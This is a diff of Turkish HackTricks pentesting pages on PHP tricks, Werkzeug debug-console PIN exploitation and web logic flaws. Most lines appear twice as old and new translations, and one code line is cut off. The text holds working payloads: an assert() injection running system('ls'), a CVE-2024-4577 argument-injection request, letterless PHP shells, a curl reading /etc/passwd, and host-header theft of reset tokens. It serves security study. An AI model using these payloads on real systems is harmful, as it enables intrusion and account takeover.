Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında **doğru olup olmadığını kontrol etmek** için kullanılır.\
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD\_DEFAULT genellikle PASSWORD\_BCRYPT ile aynıdır.** Ve şu anda, **PASSWORD\_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD\_DEFAULT genellikle PASSWORD\_BCRYPT ile aynıdır.** Ve şu anda, **PASSWORD\_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması vardır**. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -189,7 +193,7 @@ True
#### Başlıkları ayarladıktan sonra hata oluşturma
[**bu twitter dizisinden**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) görebilirsiniz ki, 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP yanıtında başlıkları ayarlamayacaktır.
[**bu twitter dizisinden**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP'nin yanıtta başlıkları ayarlamayacağını görebilirsiniz.
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlamaya izin verir:
```php
@ -199,14 +203,14 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Başlıkları ayarlamadan önce bir gövde doldurma
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri yazdırmasını sağlayabilir. **Yeterince uzun bir içerik** ekleyerek, sunucu yanıtına **başlıkları eklemeye çalıştığında** bir hata verecektir.\
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar vermesini sağladı** ve ekranda görebileceğiniz gibi PHP başlık bilgilerini **değiştirmeye çalıştığında, başaramadı** (örneğin, CSP başlığı kullanıcıya gönderilmedi):
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri dönen bazı **içerikleri yeterince uzun** yazdırmasını sağlayabilir, böylece sunucu **başlıkları** yanıtın içine eklemeye çalıştığında bir hata verecektir.\
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar vermesini sağladı** ve ekranda görebileceğiniz gibi PHP başlık bilgilerini **değiştirmeye çalıştığında, başaramadı** (örneğin CSP başlığı kullanıcıya gönderilmedi):
![](<../../../.gitbook/assets/image (1085).png>)
## PHP fonksiyonlarında SSRF
Sayfayı kontrol et:
Sayfayı kontrol edin:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
@ -238,12 +242,12 @@ Bu preg\_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmış
```
### **Assert() ile RCE**
Php içindeki bu fonksiyon, **bir dizede yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz:
Php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilir. Örneğin:\
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Kod **sözdizimini** **bozmanız**, **payload**'ınızı **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa payload'ımız çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü payload'ımız çalışmayacaktır.
Kod **sözdizimini** **bozmanız**, **yüklemenizi** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalıştırılmayacaktır. Aynı şekilde ";" çalışmaz çünkü yüklemeniz çalıştırılmayacaktır.
**Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'`
@ -292,10 +296,10 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Bu env değişkeni, diğer ikili dosyaları çalıştırırken rastgele kütüphaneleri yüklemenizi sağlar (bu durumda çalışmayabilir).
* **`PHPRC`** : PHP'ye **konfigürasyon dosyasını nerede bulacağını** belirtir, genellikle `php.ini` olarak adlandırılır. Kendi konfigürasyon dosyanızı yükleyebilirseniz, o zaman `PHPRC`'yi PHP'yi ona yönlendirmek için kullanın. İkinci yüklenen dosyayı belirten bir **`auto_prepend_file`** girişi ekleyin. Bu ikinci dosya, PHP çalışma zamanı tarafından diğer kodlardan önce çalıştırılan normal **PHP kodunu** içerir.
1. Shell kodumuzu içeren bir PHP dosyası yükleyin
1. Shellcode içeren bir PHP dosyası yükleyin
2. Adım 1'de yüklediğimiz dosyayı çalıştırması için PHP ön işleyicisine talimat veren bir **`auto_prepend_file`** direktifi içeren ikinci bir dosya yükleyin
3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
* Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi alın [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi edinin [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - başka bir seçenek
* Eğer **dosya yükleyemezseniz**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
@ -305,11 +309,11 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
### XAMPP CGI RCE - CVE-2024-4577
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içinden PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar:
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeyi sağlar:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) örneği kontrol edin.
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) istismar örneğini kontrol edin.
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -326,7 +330,7 @@ phpinfo();
```
## PHP Sanitizasyon atlatma & Brain Fuck
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkündür.\
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az izin verilen karakterle bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkündür.\
Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
```php
(1)->{system($_GET[chr(97)])}
@ -339,19 +343,19 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Eğer bir PHP uygulamasını hata ayıklıyorsanız, `display_errors = On` ekleyerek `/etc/php5/apache2/php.ini` dosyasında hata yazdırmayı global olarak etkinleştirebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
### PHP kodunu deşifre etme
PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
## PHP Sarıcıları ve Protokoller
## PHP Wrapper'ları ve Protokoller
PHP Sarıcıları ve protokolleri, bir sistemde **yazma ve okuma korumalarını atlamanıza** ve onu tehlikeye atmanıza olanak tanıyabilir. [**daha fazla bilgi için bu sayfayı kontrol edin**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
PHP Wrapper'ları ve protokolleri, bir sistemde **yazma ve okuma korumalarını atlamanıza** ve onu tehlikeye atmanıza olanak tanıyabilir. [**daha fazla bilgi için bu sayfayı kontrol edin**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug kimlik doğrulaması yapılmamış RCE
Eğer `phpconfig()` çıktısında **Xdebug**'ın **etkin** olduğunu görüyorsanız, [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) üzerinden RCE elde etmeyi denemelisiniz.
Eğer `phpconfig()` çıktısında **Xdebug**'ın **etkin** olduğunu görüyorsanız, RCE elde etmeyi denemelisiniz [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
## Değişken değişkenler
```php
@ -397,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, aşağıdaki gibi bir istek gönderebilirsiniz, bu yükü kullanarak rastgele PHP çalıştırmak için:
Yani, eğer **rakamlar ve harfler olmadan rastgele PHP çalıştırabiliyorsanız**, rastgele PHP çalıştırmak için o yükü kullanarak aşağıdaki gibi bir istek gönderebilirsiniz:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -426,7 +430,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl benzeri
### Perl gibi
```php
<?php
$_=[];
@ -464,13 +468,17 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın; böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,13 +17,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine inceleme, shell açma ve eğlenme fırsatı vermek için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Konsol RCE
Eğer debug aktifse `/console` erişmeyi deneyebilir ve RCE elde edebilirsiniz.
Eğer hata ayıklama aktifse `/console` erişmeyi deneyebilir ve RCE elde edebilirsiniz.
```python
__import__('os').popen('whoami').read();
```
@ -31,9 +33,9 @@ __import__('os').popen('whoami').read();
Ayrıca internette [şu](https://github.com/its-arun/Werkzeug-Debug-RCE) gibi birkaç istismar bulunmaktadır veya metasploit'te bir tane.
## Pin Koruması - Yol Traversali
## Pin Koruması - Yol Geçişi
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya traversali açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz.
### Werkzeug Konsol PIN İstismarı
@ -43,7 +45,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Bir "konsol kilitli" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişmeye çalışırken karşılaşılır ve konsolu açmak için bir PIN gereksinimini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug'un hata ayıklama başlatma dosyasındaki PIN oluşturma algoritmasını analiz etme önerisi yapılır (`__init__.py`). PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya geçiş açığı aracılığıyla temin edilmesi tavsiye edilir.
"console locked" senaryosuna erişim sağlanmaya çalışıldığında, konsolu kilidini açmak için bir PIN gereksinimini belirten bir mesajla karşılaşılır. Konsol PIN'ini istismar etmek için Werkzeug'ün hata ayıklama başlatma dosyasındaki PIN oluşturma algoritmasını analiz etme önerisi yapılmaktadır (`__init__.py`). PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya geçiş açığı aracılığıyla temin edilmesi önerilmektedir.
Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_public_bits` ve `private_bits`:
@ -57,15 +59,15 @@ Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_pub
#### **`private_bits`**
* **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir.
* **Sunucunun MAC adresini belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini çıkarmak gerekir.
* Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
* Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü tanımlamak gerekir (örneğin, `ens3`). Belirsizlik durumunda, **`/proc/net/arp`** sızıntısı yaparak cihaz kimliğini bulmak, ardından **`/sys/class/net/<device id>/address`**'den MAC adresini **çıkarmak** gerekir.
* Hexadecimal bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir:
```python
# Örnek MAC adresi: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den alınan verileri, son eğik çizgiden (`/`) sonra `/proc/self/cgroup`'un ilk satırıyla birleştirir.
* **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri alır ve `/proc/self/cgroup`'un son slash (`/`) sonrası ilk satırı ile birleştirir.
<details>
@ -182,7 +184,9 @@ Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümk
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve sömürü modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, sömürülebilir zafiyetleri bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik sömürüleri kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -195,8 +199,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,30 +17,32 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell açmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Host başlığı
Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığını** güvenilir olarak kabul eder. Örneğin, bu değeri **şifre sıfırlamak için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığına koyduğunuz o alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüz altındaki bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenebilir. Örneğin, değerini **şifre sıfırlamak için kullanılacak alan adı** olarak kullanabilir. Bu nedenle, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığına koyduğunuz o alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrol ettiğiniz bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %}
Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek olmadığını unutmayın; belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayacaktır**.
Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek olmadığını unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayabilir**.
{% endhint %}
### Oturum boolean'ları
Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliği olarak "True" değeri ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
Bazen bazı doğrulamaları doğru tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeri ekleyebilir**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz, ancak **erişim izniniz olmamalıdır**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Kayıt işlevselliği
Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok sayıda boşluk ve Unicode) kullanmayı da deneyin.
Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler (nokta, çok fazla boşluk ve Unicode) kullanmayı da deneyin.
### E-postaları ele geçirme
Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz.
Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birinciyi onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz.
### Atlassian kullanan şirketlerin İç Servis Masasına Erişim
@ -48,14 +50,16 @@ Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından yeni
### TRACE yöntemi
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verecektir. Bu davranış genellikle zararsızdır, ancak bazen ters proxy'ler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi sızmasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verecektir. Bu davranış genellikle zararsızdır, ancak bazen ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
